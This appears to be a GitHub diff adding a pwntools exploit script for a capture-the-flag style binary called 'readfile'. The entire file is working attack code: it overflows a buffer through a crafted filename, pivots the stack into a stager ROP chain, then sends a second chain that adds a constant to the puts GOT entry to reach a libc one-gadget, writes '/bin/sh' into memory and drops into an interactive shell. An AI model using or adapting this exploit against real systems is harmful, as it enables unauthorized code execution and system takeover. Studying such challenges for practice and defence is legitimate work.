|
| 1 | +from pwn import * |
| 2 | +import string |
| 3 | + |
| 4 | +context.terminal = ['tmux', 'splitw', '-h'] |
| 5 | + |
| 6 | +elf = ELF('readfile') |
| 7 | +rop = ROP(elf) |
| 8 | +stager = ROP(elf) |
| 9 | + |
| 10 | +r = None |
| 11 | + |
| 12 | +def write_file(name, data): |
| 13 | + r.sendline('1') |
| 14 | + r.sendline(name) |
| 15 | + r.sendline(str(len(data))) |
| 16 | + r.sendline(data) |
| 17 | + |
| 18 | +def read_file(name): |
| 19 | + r.sendline('2') |
| 20 | + r.sendline(name) |
| 21 | + |
| 22 | +""" |
| 23 | +1: |
| 24 | +0x080486af : mov eax, dword ptr [0x804a088] ; cmp eax, ebx ; jb 0x80486ba ; mov byte ptr [0x804a084], 1 ; add esp, 4 ; pop ebx ; pop ebp ; ret |
| 25 | +2: |
| 26 | +0x080486be : add dword ptr [ebx + 0x5d5b04c4], eax ; ret |
| 27 | +""" |
| 28 | + |
| 29 | +ret = 0x08048a29 |
| 30 | +binsh = 0x804af00 |
| 31 | + |
| 32 | +stager.gets(0x804a300) # Arbitrary address somewhere deeper in the 0x804a000 chunk |
| 33 | +stager.migrate(0x804a300) # Stack pivot to 0x804a300 |
| 34 | +print(stager.dump()) |
| 35 | + |
| 36 | +rop.gets(0x804a088) # Put constant value |
| 37 | +rop.raw(0x80486af) |
| 38 | +rop.raw(0xaaaaaaaa) # junk |
| 39 | +rop.raw(elf.got['puts']-0x5d5b04c4) # puts-magic libc |
| 40 | +rop.raw(0x804a900) # junk |
| 41 | +rop.raw(0x80486be) # Add constant to puts |
| 42 | +rop.gets(binsh) # Put /bin/sh in memory |
| 43 | +rop.gets(0x804a088) # Put pointer to /bin/sh in memory |
| 44 | +rop.raw(0x80486af) # Put pointer to /bin/sh in eax |
| 45 | +rop.raw(0x804a900) # junk |
| 46 | +rop.raw(0x804a900) # junk ebx |
| 47 | +rop.raw(0x804a900) # junk ebp |
| 48 | +rop.puts(0) # Trigger magic libc |
| 49 | + |
| 50 | +leaveret = 0x80486f1 |
| 51 | + |
| 52 | +data = p32(leaveret) |
| 53 | + |
| 54 | +data2 = 'c' * cyclic_find('aaca') |
| 55 | +data2 += p32(0x04a18000) |
| 56 | +data2 += '\x08' * (cyclic_find('ARAA', alphabet=string.ascii_uppercase) - 4 - len(data2)) |
| 57 | +data += data2 |
| 58 | + |
| 59 | +data += p32(0x804af00) # 2) Some valid address to pass fclose |
| 60 | +data += p32(0x804a0a5-0x3c) # 3) Address we will be calling at instruction call [eax + 0x3c] |
| 61 | +data += p32(0xcafebabe) # junk data |
| 62 | +# data += str(stager) # TRIGGER FOR ROP CHAIN |
| 63 | +# data += p32(ret) * ((240-len(data)-len(str(stager)))/4) # ROP nops |
| 64 | +data += p32(0xdeadbeef) * 36 |
| 65 | +data += str(stager) |
| 66 | + |
| 67 | +filename = '/tmp/' + data |
| 68 | +print(filename) |
| 69 | +try: |
| 70 | + os.remove(filename) |
| 71 | +except: |
| 72 | + pass |
| 73 | + |
| 74 | +r = process("./readfile") |
| 75 | + |
| 76 | +data = 'a' * cyclic_find('paac') |
| 77 | +data += p32(0x804a0a0) # 1) Some valid address to pass fclose |
| 78 | +data += 'b' * (1000 - len(data)) |
| 79 | +write_file(filename, data) |
| 80 | + |
| 81 | +r = process("./readfile") |
| 82 | +""" |
| 83 | +gdb.attach(r, ''' |
| 84 | +break *{} |
| 85 | +break *0x0804890a |
| 86 | +break gets |
| 87 | +break *0x80486be |
| 88 | +c |
| 89 | +'''.format(hex(leaveret))) |
| 90 | +""" |
| 91 | +read_file(filename) |
| 92 | + |
| 93 | +raw_input("Send second rop chain") |
| 94 | +r.sendline(str(rop)) # Constant value to add to puts |
| 95 | +raw_input("Send constant value") |
| 96 | +r.sendline(p32(0xfffdaa19)) # Constant value to add to puts |
| 97 | +raw_input("Send /bin/sh") |
| 98 | +r.sendline("/bin/sh\0") # Constant value to add to puts |
| 99 | +raw_input("Send pointer to /bin/sh") |
| 100 | +r.sendline(p32(binsh)) # Constant value to add to puts |
| 101 | + |
| 102 | +r.interactive() |
0 commit comments